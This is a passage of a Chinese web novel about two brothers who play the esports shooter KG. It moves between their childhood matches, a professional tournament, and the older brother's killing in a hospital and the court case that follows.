那年KG风头盛势,无论老的少的男的女的都爱玩儿,小学生更是封为圭臬,那是面子荣耀,是吹牛逼出风头的象征。混球一听打K单挑,巧了么这不是,堂堂班长大人,老师们眼中的好学生,能打得过他们? 欣然迎战。 听完过程,顾越朝他弟竖了个拇指,“帅,不愧是我顾越的弟弟。” 黑网吧的时效价格要比正规网吧贵一点,五块一小时,顾越拍拍胸脯,豪横地替弟弟出了这钱,“为兄给你撑腰!” “得了吧,”顾听把钱揣回他哥兜里,“自己算算来了几次了,零花钱都用完了吧,我没猜错这应该是你最后的五块钱了。” 顾越:“” 不知是基因问题还是就是单纯地发育太快,那几个五年级的混球竟然比六年级的顾越个子要高,身宽体胖的,典型的暴发户家庭长大的孩子。 混球见顾听还带着他哥,嘲讽道,“班长,咋还把你哥带来了?嗐,打不过就打不过嘛,何必找外援?” “哟呵,口气挺狂,谁说我要上了,允许你们助威不允许我们啊?”顾越好笑,压低声音,“待会儿别被我弟弟打得嗷嗷叫昂。” “什么模式,几局几胜,你们来定。”顾听非常绅士地做了个“请”的手势。 “就单挑模式,一局定胜负。”混球看不惯顾听挑衅地姿势,嗓门儿忒大地说。 四周坐在机子前的少年看着几个小学生在这儿弄得还真情实切,乐得不行,谁起哄了一声儿,“弟弟们,谁赢了我请谁吃辣条!” “先说好,输了的话,以后不准再欺负筱婷,要你好好学习我管不着,只要不在班级捣乱就行,”顾听说,“赢了,我答应你们任何条件。” “这可是你说的班长,可别反悔。”混球扯起嘴角嗤笑。 “不反悔。”顾听话语平静。 他们两台机子对坐着,混球身后有他三四个跟班小弟,而顾听身后就只有他哥哥一个人。 顾越双手搭在顾听的双肩,鼓励道,“小听加油!” 大概是这边小学生的气势很足,游戏刚开始就有人站在他俩身后观战,“单挑呢这是” “现在小学生都这么厉害了?” “这游戏小学生就是多,我刚刚才匹配了一个,人家打得好着呢。” 讨论声此起彼伏。 根据混球要求,单挑选的人物位置是突破手,正好撞在顾听的枪口上。混球的号富得流油,给好几种枪买了限定级皮肤,在游戏局内显示的花哨又炫酷,对比顾听零氪账号,显得略微寒碜。 不过这并不影响顾听的发挥。 “上上上!对,钢他钢他!闪雷,闪雷——”混球那边有些焦灼,不止他小弟在给他做指挥,来观战的大哥哥们急不可耐地开嗓,就差扯下混球自己上手了。 混球急得满头大汗。 而顾听这边。 看客抱手称赞地啧声,沉浸在小学生高超的技术当中,根本不需要指挥,顾越扯了一把旁边儿没人坐的椅子吊儿郎当地翘着二郎腿,嘚瑟样儿地瞅越来越多看他弟弟操作的人。 游戏结束,混球界面显示了失败两个大字,他呆愣住了。 “耶!”顾越握拳跳了起来欢呼。 “弟弟你几岁啊?打K打得这么溜呢?”周围人不禁好奇。 “今年刚满11岁哦。”顾越得意张扬地说。 “嚯,好小,”周围人说,“唉,我们老了,估计连小学生都打不过了。” 混球缓了半天才接受自己已经输了的事实,起身朝顾听走来,嚣张的气焰灭了一大半。这个时候的小学生,如果打K连单挑都打不过的话,那么会很当真地认为自己面子被踩在地上狠狠摩擦。 “班长!”混球未发育的嗓门尖细,中气十足地吼,“请受小弟一拜!” “拜什么呢,愿赌服输,明儿就给人筱婷道歉。”顾听高冷地说,在顾越看来,就是一只尾巴已经翘到天上去了的小猫,傲娇得很呢,实际内心早就开出了花儿。 “好的班长,”混球抹了抹汗,不好意思地开口,“对了班长,你能不能把你刚才打的那一波操作教教我?” 从神剑出来,天边儿还残留着绚烂的晚霞,对面传来卖老冰棍儿的喇叭声。 “走,哥请你吃冰棍儿,”顾越牵着顾听的手腕儿跑过去,“虽然我只有五块的零花钱了,但老冰棍儿还是请得起的。” 往常顾听不爱吃这玩意儿,感觉就是糖水勾兑了冷冻的,但顾越挺爱,今天打K打累了,网吧里面空调不给力,又被一圈人围着,他的额角也布满了汗,任由哥哥去买了,没有说什么。 一根白色的冰棍贴着他的嘴皮,又冷又烫,激到了顾听的心里边儿去—— 作者有话说:泥萌嚎,我鬼混回来了[求你了] 第26章 第 26 章 不愧是听神!!!…… “小听, 他们所说的职业赛事,是什么意思?” 这是顾越第一次听说“职业赛事”这个词儿。街道熙熙攘攘,黄昏拉长两个少年的影子, 渐渐地, 融为了一体。 顾听抿化冰棍儿,最后一口总是特别甜,牙齿碰撞在木棍上面,舌尖还品尝到几分木头的味道, 他想了想, 对他哥解释说,“就是特别厉害的人在特别大的赛台打游戏。” 小学生的思维只能局限于此。兄弟俩还不懂什么叫作天才,也不懂什么叫作世界冠军,在很多年后的今天, 他们已经不站在故乡的土地上。 “唔,特别厉害啊”顾越走路也没个正型,双手支在脑后望天, 好似对自己的未来充满无限遐想,“你知道么, 他们今天说你可以去打职业赛事了, 还说什么职业选手?那转换过来的意思不就是,小听特别厉害么,当然了,我肯定也是特别厉害的。” 顾听见怪不怪他哥自夸的秉性,点点头附和。 “如果真有那么一天, 我们能够被选上当那职业选手,小听,你要去吗?”顾越眼眸锃亮地看着他弟。 顾听冷不丁被他哥凑近的脸吓了一跳, 长睫扑闪在下眼睑,小手一把按在顾越脸上,“在看看吧。” “也是,毕竟我们还小,”顾越哼着小调说,“不过你要是想去,我会一直陪着你的,小听勇敢飞,哥哥永相随!” 回到家时,迎接的便是老妈黑着一张脸,张口就痛击两兄弟,“又去网吧了。” 顾越刚想打哈哈糊弄老妈,顾听向前一步主动说,“妈,今天是我喊我哥” “你先闭嘴,”老妈说,“你经常给你哥打掩护,别以为我不知道。” 顾越惊讶地瞪大眼,这就是口碑。 “老规矩啊,一盘黑米一盘大米,好久将掺杂着大米里面的黑米夹出来,好久吃饭。”老妈系着围裙走向厨房。 兄弟俩一阵哀嚎。 他们家不兴皮肉教育,就是纯纯精神上的折磨。那米才多大啊,夹得他俩生不如死,痛不欲生,眼睛都要瞎咯。 顾越撒泼打滚地乱叫,“妈!妈!你打我吧!啊啊啊啊,我不要夹米,你打我吧!” 老妈推开厨房门,“顾越,老子数三声你再叫?” 迫于老妈的威严,顾越最终还是和顾听老老实实地坐在餐桌前,夹起了米。 顾听心里蛮愧疚的,若老妈相信是他喊他哥去网吧,没准儿免了这顿罚,于是往自己盘里倒的米多了些。 “你干嘛呢?”顾越将盘子抢回来,看了看厨房做饭的老妈,压着声音说。 “哥,对不起。”顾听小声说。 “哎哟,有什么可对不起的,”顾越重新将米刨回盘子里,甚至刨的更多,“之前你不也被我牵连了么。” 老爸下班回来就看到俩兄弟在那受惩罚,乐呵一声,“咋了这又,惹你们妈妈生气了?” “两个小家伙把我的话当耳旁风呢,又跑去网吧玩儿了。”老妈洗着手说。 “那是该罚,”老爸进厨房端菜,“不过把饭吃了再夹嘛。” “不准,夹完再吃。”老妈态度强硬。 “老妈,我们今天是迫不得已,”顾听手都夹酸了,“我那是和人单挑呢,班里那混球欺负女生,我身为班长不能置之不理。” “对对对对。”顾越附和说。 老妈一听,笑了,“哟,那还得给你俩颁个奖咯。” “本来就是,只有这种方式才能让他们心服口服。”顾听说。 “别贫了,快点夹完吃饭。”老妈丝毫不买他的账。 后来正逢表哥上大学,给兄弟俩送了一台旧电脑,那可不得了了,简直是捅了网瘾窝,双顾也在日复一复中展现出极高的天赋,Cross和Listen在那段时间成为打不败的神话。 那年聒噪的蝉鸣随着思绪拉回到赛场热烈的呼喊,顾听朝他哥的方向微微笑了笑,戴上耳机,准备比赛。 BP环节,双方战队各有三位人物角色禁止出场的名额,而零域率先Ban的角色,便是突破手的安雅。 全场哗然。 谁都知道,安雅是顾听的本命角色,尽管所有突破手角色他已经了如指掌,但安雅在他手里面,是独特的、封神的存在。零域这第一步战术很好猜,遏制顾听拿安雅的想法。 现场解说的声音响了起来,“怎么说呢,零域禁不禁安雅其实对Listen没太大的影响,毕竟那么多突破角色,Listen的角色池不局限。” “对,可能还有一种原因,就是凰鸟想拿阿琉克斯,安雅天克阿琉克斯。”解说乙说。 解说能想到的,SAB自然也能想到。陈述在秒数快要截止选中阿琉克斯送上ban位,被顾听打断,“句号,不禁阿琉克斯,禁霍克。” “啊?噢,好的。”陈述迅速改变角色。 他们没问为什么,只当顾听身为队长,有思维和想法。没了安雅,顾听这局选的角色是突破手希瓦,角色背景为雷霆特战队的指挥官,在KG中被投名为最帅角色之一。 游迩基于顾听所选角色,拿出一手凯尔特。 好巧不巧,很多人都比较磕他俩的cp。希瓦一出来就被嬷嬷给盯上了,源自于故事里他帅强惨的形象,同电影系列《雷霆行动》宣发的联动IP雷霆特战队的皮肤,嬷嬷二创的同人惨不忍睹。 偏偏凯尔特是希瓦手中最强的利刃,身高190八块腹肌的混血雇佣兵,以下犯上的设定磕的起飞。KG是外国研发的游戏,对同性恋没那么多看法,无论是从PV还是人物小篆,隐约是有那么一点儿男同的意思,不过没有摆在明面上,全靠同人嬷找糖吃。 之前官方出了一条简讯,话里话外的意思都偏向希瓦左位,而后惨遭嬷嬷霸凌。 “希瓦怎么可能做1!身材那么劲瘦,身高还没凯尔特高,只能给我做0啊!” “我实在想象不了凯尔特怎么做右位哈,矮攻什么的都死了。” “偶们嬷嬷不是什么都嬷的,凯尔特你告诉我他是0?攻嬷的阴谋罢了。” “我明说了,说希瓦是1全特么是攻嬷。” 选手一般都不会关注这些情况,哪个角色好用就用哪个,或者能够拿下游戏的胜利,才是最主要的目的。 这两个角色在游戏设定里就很强,直白地展现出来KG游戏的初衷。 就是一场枪战的厮杀。 时间刚过一分钟,陈述就在工业区被周栖梧拿下了一血。 “姜还是老的辣啊,”陈述感慨,“魏哥,工业区的堤桥大坝,陈延森在那儿埋了不下三颗雷。” “好的,我马上去。”魏寻也说。 “这儿的密码箱探侧到有对面任务的情报,”顾听试了几张密码卡都未将密码箱解锁,“小迩来守着,我去搜索黑卡。” 游迩应了声,顺便将自己搜到的物资分给了顾听一些。 零域的基地不好摸,主要对面有一个周栖梧,难搞得很。最了解他的其实还是顾越,顾听在开赛前,将周栖梧的打法翻来覆去地看,也没有研究透彻。 他哥曾说,周栖梧是他最欣赏的对手。 反侵者游迩的加入的确是让SAB轻松些许,但第一战碰上的是零域,可以说是硬碰硬,也颇有以柔克刚之感,所以顾听选择了希瓦,成为他锋利的刀。 “他们的战术我琢磨不透,”连彭于渺都感到无解,“有点诡谲。” “周栖梧身为协防者,本来应该是为队友输送资源,起到一个奶妈的作用,但是,”顾听有条理地清晰说出观点,“零域是反着来的,你们发现没?所有人几乎只围着周栖梧,形成了一个保护圈,所以我们攻不进去。” 继而又笑了笑,“倒反天罡他们玩儿的很出色,鱼苗姐,你现在谁都不盯,就盯零域的狙击手。” “明白。”彭于渺说。 “小迩跟我,去近身突击,魏哥从中控室绕进去,直接炸雷偷袭,句号辅助鱼苗姐,”顾听说,“十分钟,结束战斗。” “行。”他们应道。 先前所有人的着重点都在周栖梧身上,而周栖梧也很会走位,每次都会特意暴露位置点,引他们火力攻击,可他有队友护着,打他又打不死,越急躁,思路就会越混乱。第一局赛点已经过去了二十多分钟,顾听才摸出来那么一点儿。 解说甲:“领域战队可以说是后起之秀啊,比起其他老战队,它建队的时间很短,还是从其他游戏的俱乐总部分解出来的,没想到在KG上留下了很多仅精彩的画面。” 解说丙:“还记得SAB对战零域的第一场,就是Cross打破凰鸟零封呢,今天由Listen和他对战,不知道Listen能不能拿下凰鸟的人头。” 解说乙:“我猜——” SAB-Listen已在重力室成功击杀零域-凰鸟。 “能!Listen击杀了凰鸟!不愧是听神!!!”解说乙疯了—— 作者有话说:今天又见面了呢[捂脸偷看] 第27章 第 27 章 听儿啊!双喜临门呐!…… “手腕儿疼?”顾听手中拿着两杯咖啡进来, 刚好撞见顾越左手揉搓右手手腕儿。 其实刚在训练时他就注意到他哥的小动作了,右手甩动鼠标那一瞬间的微颤,以及在游戏中靶心偏移的微差, 偏偏此人硬撑着, 等训练室的队友走完了才开始暴露痛苦。 他哥笑嘻嘻:“小听火眼金睛。” 顾听蹙起眉,“别嬉皮笑脸的,疼不知道说,当忍者神龟呢?” “小问题嘛, ”顾越说, “没事儿的。” “小问题拖着就成了大问题,”顾听推拉电竞椅坐到顾越面前,没好气地说,“伸出来。” 顾越撇了撇嘴, 手腕儿倏地被握住,力道重得让他龇牙咧嘴,“啊疼疼疼——” 顾听帮他做手操, “疼才长记性。” “你怎么跟妈妈越来越像了。”顾越说。 “像么?”顾听掀起薄薄的眼皮看了他一眼,“上次去医院, 医生说的你全忘了?” “打电竞的有几个没那什么腱鞘炎?你不也有么, ”顾越端起咖啡喝了口,“所以啊,别太在意,越在意它就越严重。” “你这叫诡辩,”顾听有些无语, “左手。” 顾越勤恳地做起了手操,“左手我就自己来啦,不劳烦我亲爱的可爱的弟弟咯。” 顾听被他的称谓前缀激了一身的鸡皮疙瘩, 他视线瞥到显示屏上,顾越正在看周栖梧的比赛cut,后天就是春季常规赛,是他哥当队长之后,第一次带队打比赛,与之对战的便是成都零域电子竞技俱乐部。 顾越随着顾听视线一同看显示屏,说,“这个周栖梧很强喔,他一路杀过来的死亡次数为0。” 顾听知道周栖梧。 协防者在KG中,是极容易让别人遗忘的一个位置,就像一些moba类游戏一样,辅助最不起眼,有时候功劳是自己的,荣耀是全队的,也是背锅最多的。 周栖梧可以说是打响了KG协防者的第一枪,让协防者破了捂住声音的躯壳,从加入零域后,无论是青训还是坐到如今一队队长的位置,目前为止所有他比赛的赛事死亡次数依旧为0。 足以让人唏嘘。 “你有想法。”顾听斩钉截铁地说。 顾越对他弟能准确无疑说出他内心所想丝毫不意外,扬了扬眉梢,十八岁的少年笑了起来,意气风发,“对,我有想法。” 顾听浅笑,“拭目以待。” 当年解说的嗓门一如既往的热切豪迈,与现在没有两样。 上帝嫉妒一个天才。 在顾越去世后,顾听经常这样想。他哥两件出圈的事迹,一是终结凰鸟周栖梧的涅槃,二是17岁拿下了KWC的世界冠军杯,是亚服几十年来荣获世冠最年轻的电竞选手。 顾越的人生停留在20岁,而他被囹圄在19岁那场暴风雨夜里,再也迈不出来。 “兄弟俩这是要把我赶尽杀绝啊,”周栖梧扯起无奈的笑,“但是小听,你何时才能走出你哥哥的梦境?” 顾听自然听不见周栖梧那边的音频,击杀凰鸟,并没有让他很高兴,心中也不似解说那样欣喜澎湃。 只是在想,用这种方式来证明 哥哥,我也能做到——可你看不见了。 我能看见。 小听,我能看见。 顾听惊觉,恍惚,耳朵里哥哥的声音清晰可闻,对,在那边的观众席,他如梦初醒,眼眸投向那边方向,可哪里还有顾越拉横幅的影子。 又是幻觉! 顾听的肩膀坍塌下来,骤然感觉绝望。 倏尔,他的肩被人按住了,一道沉稳温和的嗓音从他头顶上传来,“哥,休息了。” 顾听才回过神,原来已经到了中场休息的时间,此时战局为2:2,SAB和零域打成了平手。 而另一边的陈述,双手紧紧垂在身侧,内心无比挣扎。魏寻也看到他这幅样子,以为在场上他被凰鸟打破防了,用肩膀撞了撞他,“还在琢磨呢。” 陈述一愣,“琢磨什么?” 魏寻也全当小孩儿自尊心重,安慰他说,“没事儿,被凰鸟虐不丢人,有队长帮你报仇了,不要想了,嗯?” 陈述话到嘴边欲言又止,最终叹气说,“不想了,不想了。” 休息区摆放着他们自己喝水的水杯,游迩用手背探了下,有些烫。他拧开杯盖,深口的刚好可以倒出来凉着,循环几次过后,水温不再烫嘴,他拿过去给了顾听。 “哥。”游迩将水递了过去。 “啊,谢谢小迩。”顾听讶然接过喝了口,温热的流水涌入喉咙,不烫不冷刚好合适。 “不要总是客气,哥,”游迩笑了笑,“好生分。” “那我以后不说了。”顾听也浅勾起唇角,梨涡要现不现的,看得人心痒。 游迩忍住抬手戳那两个坑的冲动,“最后一局的战略指挥,哥能否交给我?” “嗯?”顾听倒没觉着意外,故而回答的语调懒散,只是想听一听游迩的理由。 “相信我,”游迩灰眸透露出势在必得,“我想让哥能够放空一下脑袋,一个人的肩膀就那么点儿宽,要扛几个人的担子,得压垮吧。” 顾听听完笑出声来,桃花眼明亮,超小声,“你这在给自己邀功呢小迩,被他们听到小心收拾你。” “不会,只是”游迩顿了顿,“我不想拖你的后腿,好不容易有展示我的机会,得让你知道我不是樊宇卿那样的废物。” 这番理由的确太过直白,在国外长大的说话就是没轻没重的。和游迩认识以后,顾听总觉得青年身上有一股刺,但那刺不是对准他,相反对他来说,好像某种保护机制。 具体是什么样的保护机制,顾听也说不上来,当他多想。 “行,最后一场赛点,交给你。”聚光灯散落的灯光刚好打在顾听的脸庞,粉发泛金,清浅似琥珀的瞳仁,带着绝对相信的语气,浑身被光笼罩,如同沐浴在圣地之中的圣子。 游迩的老爸信奉基.督.教,他曾被迫坐在教堂听虔诚的圣经,唯一真神上帝的雕像身旁有守护着他的炽天使。 游迩眯了眯眼,他在这一刻好像是真的见到了天使。 毕竟是临近赛点,输了就会进入败者组,再对战必须得两次打败胜者组的战队才有机会争夺决赛冠军杯,总教等他们休息得差不多了,指挥他们坐到一起商讨战术。 顾听举手,“主观位置可以变一下,教练。刚刚我和小迩商量,这一局他来指挥。” “啥意思?”教练问。 “咋了游迩,你想谋权篡位啊?”陈述说。 顾听乐得不行,动作自然地笑倒在旁边游迩的肩上,“谋权篡位呢。” 游迩身子一僵,所有的感官全部集中在左肩,心脏澎湃,清嗓解释说,“不是。周栖梧对队长的战术很熟悉,很容易被突破,但如果换一个人来布置的话,可能就没那么被破解了。” 顾听抬起头看着他,恰巧游迩也看了过来,坦然和顾听相视。 “当然,还有我的私心。”游迩又说。 “私心不就是你想谋权篡位么。”彭于渺笑着说。 在对教练和其他队员解释这方面,游迩觉得他没必要说得太详细,周栖梧有一方面,但占比不多,他的私心就是想让顾听的担子不那么重,这才是他的主要目的,哪怕被误解谋权也好,篡位也罢,无所谓。 无论是从前和现在,就算顾越死了,游迩都不认为顾听是照顾人的那一位,顾听应当是被照顾的。 教练沉思了一会儿,“行吧,这也算是一种战术。” 第五局,因为“队长”的改变,零域先前对SAB所做的计划被打了个防不胜防,措手不及,谁也没想到SAB全队上下竟然会去听一个反侵者的指挥,让他们看不明白,像无头苍蝇毫无章法地对战。 就好比草原上人类与狼的斗争,往往狼群中有一只发号施令的狼王,要想得知狼群会以什么样来围猎羊圈,首先得对头狼进行观察了解,但某一天,观察了很久的狼王成为了另外一只。 解说的嗓音都感到稀奇,看了将近十分钟才摸清楚这其中的奥妙,他们真没看出来是游迩在指挥。 “这是Ear在指挥?”解说甲问。 “是的吧,SAB这把打的好乱,但又有秩序?”解说丙不确定地说,“零域估计懵了,围攻了大半天的Listen原来是Ear,这叫什么,围魏救赵?” 解说乙笑着说,“SAB的风格太明显了,就是打team战的,五个人缺一不可,太团结了零域也不好攻啊。先前Cross推崇个人以一敌百,而作为他弟弟的Listen,一直都打的是团队作战。” 这把结束的非常快,二十分钟,防卫队零域基地的枪被掠夺队SAB给夺走了,游戏失败,SAB在季后赛顺位进入决赛胜者组。 退场握手之际,周栖梧感慨地对顾听说,“很棒了,小听。” “栖梧哥,”顾听轻声回,“谢谢。” 回到休息室,顾听迎面被一个熊抱狠狠抱住,还没看清楚是谁的脸,声音响起来的那一刻他无奈又欣喜。 宋星辞手中拿着帮顾听跑法院寄送的材料,抑制不了的高兴,“听儿啊!双喜临门呐!”—— 作者有话说:来晚了[求你了] 第28章 第 28 章 死亡 宋星辞能随便进SAB的休息室, 得益于他身份是两名大神发小身份的特权。前些日子顾听配合裴律整理了些新的材料,今天本来是他跑法院的,但因为他要比赛, 这项重任就交给了宋星辞。 赛前顾听特意给老韩打了声招呼, 让他到时候留意一下手机,好去接宋星辞来内场。 有一阵儿时间没见了,宋星辞的动作大了些,其余人见怪不怪, 就是他那大嗓门还真适应不了。 “哟, 稀客啊,”魏寻也调侃他说,“小宋,嗓子没哑哇, 看来刚刚喊加油不积极。” “哪有!这锅我可不背啊魏哥!”宋星辞瞪大眼辩解。 “星辞哥,什么事儿双喜临门啊?”陈述笑着问。 经陈述一提,宋星辞才想起来正事儿。他神情转变得非常快, 由先开始的激动一点点地消失为淡淡的怅然。 本来因为SAB顺利晋级,再加上法院立案下来了, 可关于顾越的离世, 并且是需要刨开赤裸裸地呈现在众人面前死亡真相,无疑是在往顾听心口插刀。宋星辞脑子一热,认为无论怎么样,只要是关于顾越案子的进展,哪怕有一丁点儿的希望都被他看作是“喜”。 他忘了, 还没有任何结果。 宋星辞轻轻地叹了口气,看着顾听,“抱歉各位, 我嘴巴说快了,是法院的立案下来了,下个月开庭。” 所有人在这一秒的空气里缄默,担忧又心疼的目光统一看向了顾听。 “不算双喜临门吧,毕竟结果还没下来,我说快了,说快了。”宋星辞把材料给顾听,心里顿时堵得慌。 “算,”顾听语气轻快,“怎么能不算。” “告!告不死他丫的!”陈述激愤说,“最好判决死刑!” “哎哎哎,嘴巴悠着点儿,”魏寻也捂住他的嘴,“想想就行了,别说出来,隔墙有耳。” “一定会有好结果的。”彭于渺轻声说。 但其实他们知道,机会渺茫,否则那个人不会就在监狱里关着。 2021年的8月21号,顾越检查完手打算从医院回基地时,暴风雨如同黑云压催般来袭,整座城市陷入乌云笼罩的黑暗,好似末日。 兜里的手机铃嗡嗡地响,他掏出来接听,脸上洋溢着笑,“赶快开车来接你哥。” 外面的雨大得离谱,看起来有几分骇人,顾越又改口道,“算啦,待会儿的,等雨小了你再来,听见没小听?” “你别乱跑,就在医院待着躲雨。”电话那头的顾听说。 “嗯嗯呐,我疯了我才会跑出去,”顾越说着,提了提右手的食品袋,“还给你带了你最爱的那家手工糕点哦,哥对你好吧” 他是坐在休息凳上接的电话,突然,天空一声惊雷,吓了顾越一跳,余光中,他旁边儿不知道何时坐了一位穿着病号服的年轻男人,脸色苍白,眉骨阴郁,眼神空洞又麻木的直勾勾地盯着他。 顾越心里发毛,刚刚顾听的声音因为惊雷的响动有些失真,他问道,“喂,小听,你说什么,我没听清。” “我说,你” 顾听紧皱眉头,他哥那头传来人群中的尖叫,而他哥的声音全无,只有刀子捅进□□的沉闷,和错愕地急促音,短暂又渺茫。 “哥”顾听的心没来由地慌了,此刻,他多么想听见人群当中的尖叫有他哥看热闹的兴奋声音,于是顾听越喊越大,“哥?哥!顾越!顾越你听得见吗?!” 脚步声杂乱,推车推在医院光滑地板的摩擦,隐约间,顾听越发清晰地听见病人和护士交流的嗓音,还有人们惊恐地嚎嗓—— 杀人了! “哥”顾听眼泪不受控制地流下来,电话始终保持通话,可他哥的声音呢?! 他不管不顾,理智的弦“啪”地崩断了,拧开卧室门猛地冲了出去,迎面撞上魏寻也。 魏寻也被他撞了个趔趄,倒也没生气,顾听情绪一向稳定,可就在这一刹那,顾听身上的惊怕竟将他吓着了,忙不丁问,“小听,怎么了?” 但顾听没时间回答他,连对不起也没有说,近乎是跳着下楼的。 “喂?喂?请问是受害者家属吗?请你尽快来医院一趟——” 车子疾驰在宽阔的大道上,暴雨倾盆,雨刮器都不能将玻璃上的雨点刮清。泪水连同雨水一同模糊了顾听的视线,他感觉自己的喉咙似乎被人给扼住了,窒息不堪。 赶到医院,保洁人员还在清理那摊血迹,鲜红刺眼,警察将现场拉了警戒线,正在勘察,看热闹的人围成了圈,在那儿讨论。 “太吓人了,那刀一下就插进脖子里面,血像水流一样的呀!” “多年轻的小伙子,可惜了,太可惜了,这种事情竟然会被他碰上,唉!” “那疯子捅了十多刀,医院要担重责呀,精神病人怎么能随便乱跑呢。” 顾听跑到抢救室,耳朵里听见的风言风语已经让他差不多捋清楚了事实。 精神病人、偷跑、伤人。 灯灭,医生推着推床出来,上面盖着白色布褥,从头到脚,都被盖得严严实实。 顾听跑上楼的气儿还未喘匀,在看见这一幕的瞬息,他的心如刀绞般疼痛,又存在一定的侥幸,万一不是他哥呢?万一会像电视剧那样,他哥出现在身后,懵逼地问,“小听,你在看啥呢?” 没有。 快出现啊顾越! “抱歉家属,死者失血太多,我们尽力了。”医生沉重地说。 顾听笑了声,挪动僵直麻木的双腿一步一步走到推床前,手捻开白布,他还在祈祷奇迹。 顾越双目紧闭,嘴唇血色全无,没有任何生气地躺在床上。 整个过程,只有三十分钟。 他明明还在跟他哥通话。 顾听还在笑,而后无力地跪趴在他哥身上,超级小声地喊,“哥” “哥,顾越,你别跟我开这个玩笑顾越!你起来啊,你起来!”顾听彻底崩溃了,哭得泣不成声。 赶来的SAB队员撞见这场面,心全部沉在了谷底,他们都不相信,上午顾越还在跟他们欢声笑语,下午就冷冰冰地躺在医院的推床上。 死亡来得毫无征兆。 “小听,小听,”他们上前将顾听扶开,强忍着话语颤意,“小听,我们先冷静,先冷静好不好。” 但顾听紧抓他哥的手,怎么也放不开。 来了几名警察,看到情况,对顾听做心理工作,放缓平常严肃板正的嗓音说,“家属请节哀,麻烦你现在跟我们去一趟公安局,你放心,我们会给你一个交待。” 精神病人杀人并非一律不判死刑,也不是必然判死刑。 它的核心取决于精神病人杀人时的刑事责任能力,还需要经过法定程序鉴定。社会上,像精神病伤人的事例不是没有,可精神病就好像他们的遮羞布,可以逃脱必要的制裁。 为什么呢? 凭什么呢? 后续司法给到顾听的答案是,嫌疑人在向顾越捅刀时无法辨认自身行为,驳回了顾听上诉死刑的提议。 顾越全身上下刀伤多达十五处,致命的那一刀,是脖颈处的大动脉。而这些种种,却被谢澜光以精神病人无法辨认,轻飘飘地否决了。 判刑几年十几年的坐牢接受精神治疗这样的结果,顾听不接受,他只想让谢澜光死。 他哥活该死吗?还是那句话,凭什么呢? 在诉讼找资料的过程中,顾听发现,谢澜光的背景不一般,渐渐地,他明白了些什么。 20岁的天才就此陨落,电竞圈纷纷悲痛悼念,那段时间,顾听整个人浑浑噩噩,反复发烧,久睡不醒。 他想,他也跟着哥哥死了一遍。 爸妈不远万里来到上海,接手儿子的骨灰,也想带小儿子回家。 别干这一行了,小听,跟妈妈回家,好吗? 顾听记得那天的争吵,他明白爸妈是担心他再发生什么意外,妈妈的话语更是一把利刃狠狠地往他心口里戳。 “我当初!我当初就不该松嘴让你们俩离家去打游戏!你为什么不肯跟妈妈回家?你哥哥死了,你也想死吗?!”老妈就在基地跟他吵,情绪失控,冲上来抓着他的衣服,“我再问你一遍,你到底跟不跟我回家?!” 顾听嘴唇嚅动,无力地垂着长睫,没休息的眼睑泛着乌青,嗓音沙哑,“对不起,妈妈。” 他还有没做完的事。 他们出生于普通家庭,凭着一腔热血和天赋走出小县城来到大城市站足脚跟,顾越还有未完成的遗憾,顾听也有。爸妈没接受过多少文化,所以他们歇斯底里不理解地质问,顾听都甘之如饴地接受。 老妈缓缓地松开了手,手背揩去泪水,冷冷地说,“那你永远也别再回来了。” 这句话很重,也很绝,顾听哑然,还是什么话也没说。 再给我一点时间。 一点点。 哪怕谢澜光的背景再强大,他就算是精神病人,顾听也要他死—— 作者有话说:明天见! 第29章 第 29 章 数不清的美梦。 数不清的美梦。 自从哥哥去世以后, 顾听每晚都能梦到他。在梦中,那次事件反转反转再反转,结局都不是顾越死亡, 他最终依旧吃上了桂花糕。 如果在家乡, 会叫阴阳先生来请法事,老梦见死人是不好的预兆,魂魄流连忘返人间不肯离开,做梦之人的阳气会越来越弱, 疾病缠身。顾听不信这些, 顾越不会害他。 他将梦境留存在心间,没告诉任何人,他开始嗜睡,只为在梦里面见一见哥哥。身边人自然观察出来顾听的精神状态不对劲, 基地的心理医生就顾听这样的情况,几乎专门为他制定了一套治疗。 他们确定,顾听的心理出了问题。 况且, 那个时候正处于KWC的常规赛阶段,SAB的明星选手顾越意外死亡, 这则事件的影响力甚至扩大到了国外, 顾听代替他哥,坐上一队突破手的位置。 比赛、训练、接受治疗。他如同行尸走肉,跟着命运大手的推动走,他还能如何反抗呢? 可即便是这样,他依旧带着顾越未完成的遗憾让队伍冲出国门, 到柏林争夺世冠,仅仅只有一步之遥。 对,就在季后赛阶段, 顾听整个人从萎靡不振的状态中变得容光焕发起来,面貌精神看起来都红润了,话语变多了,开始和队友交流,哪怕管理层将“队长”的任务交予他,他也没什么怨言,坦然接受。 他没再梦到过顾越。 因为他哥就在他身边,陪着他了。 回忆拉进现实,顾听翻了几页材料,随便看了几眼,视线扫过每个人的脸,洋溢笑容,“接受一切坏结果,期待一切好结果。” 众人一愣,半天没反应过来顾听的意思。 好坏结果是生活中的必然事件,既然事情已经发生了,无非就是这两种答案,与其提前代入焦虑又或者是欣喜,到了那天,落差的情绪会变得更加难以接受,何必增大黯然神伤。 “啊,对,”魏寻也点点头,“现在我们走的每一步,都是进步。” “哎,你就是Ear吧?”宋星辞话语一转,落到游迩身上。 游迩早认识他了,从他了解顾听开始,就知道双顾身边有位发小,他应道,“嗯。” “我靠,我暗恋对象超级喜欢你!”宋星辞低头急匆匆地翻包,拿出小卡和笔,来到游迩旁边,“麻烦你帮我签个名儿行吗?我保证不卖黄牛不发网络炫耀!” 游迩看了眼顾听。 “不是小宋,我没听错吧,你那个谁喜欢游迩来着?”魏寻也感到荒谬,“你暗恋对象?” 宋星辞曾经在高中喜欢他们班的女神,班花就是班花,身上插满了单箭头,宋星辞也不例外。他这话没法对其他人讲,只给双顾说过,高考填报志愿,他本可以和他女神报考同一所学校,但还是选择了来上海。 不过上了大学后,两人一直都有联系,宋星辞不想打破这好不容易维持的朋友关系,所以忍着没告白。 “对啊,我暗恋对象,我crush,”宋星辞回答得坦然,“真的,Ear你放心,她还是你大粉呢,这签名儿绝不会售卖,她更不会发在公共平台。” “星辞哥借花献佛,这一招追女神妙得很呐。”陈述啧了声。 游迩还是看着顾听。 “那就,帮个忙叭,”顾听开口道,“毕竟这还是他第一次用‘特权’找人要签名儿。” 宋星辞身边有不少人知晓他和SAB战队里双顾的关系不一般,找他托关系去要签名儿时,都被宋星辞给拒绝了。 当然人都是双标的。 他女神也知道他会来看这场比赛,并没有开口让他去要Ear的签名,出于某种私心,他还是动用特权了。 “好。”游迩应道,接过马克笔在自己的小卡上签名,“还需要写什么吗?” 宋星辞惊喜,“可,可以吗?那就写小仔天天开心。” 游迩唰唰写下几个大字。 “谢谢你啊Ear!”宋星辞说。 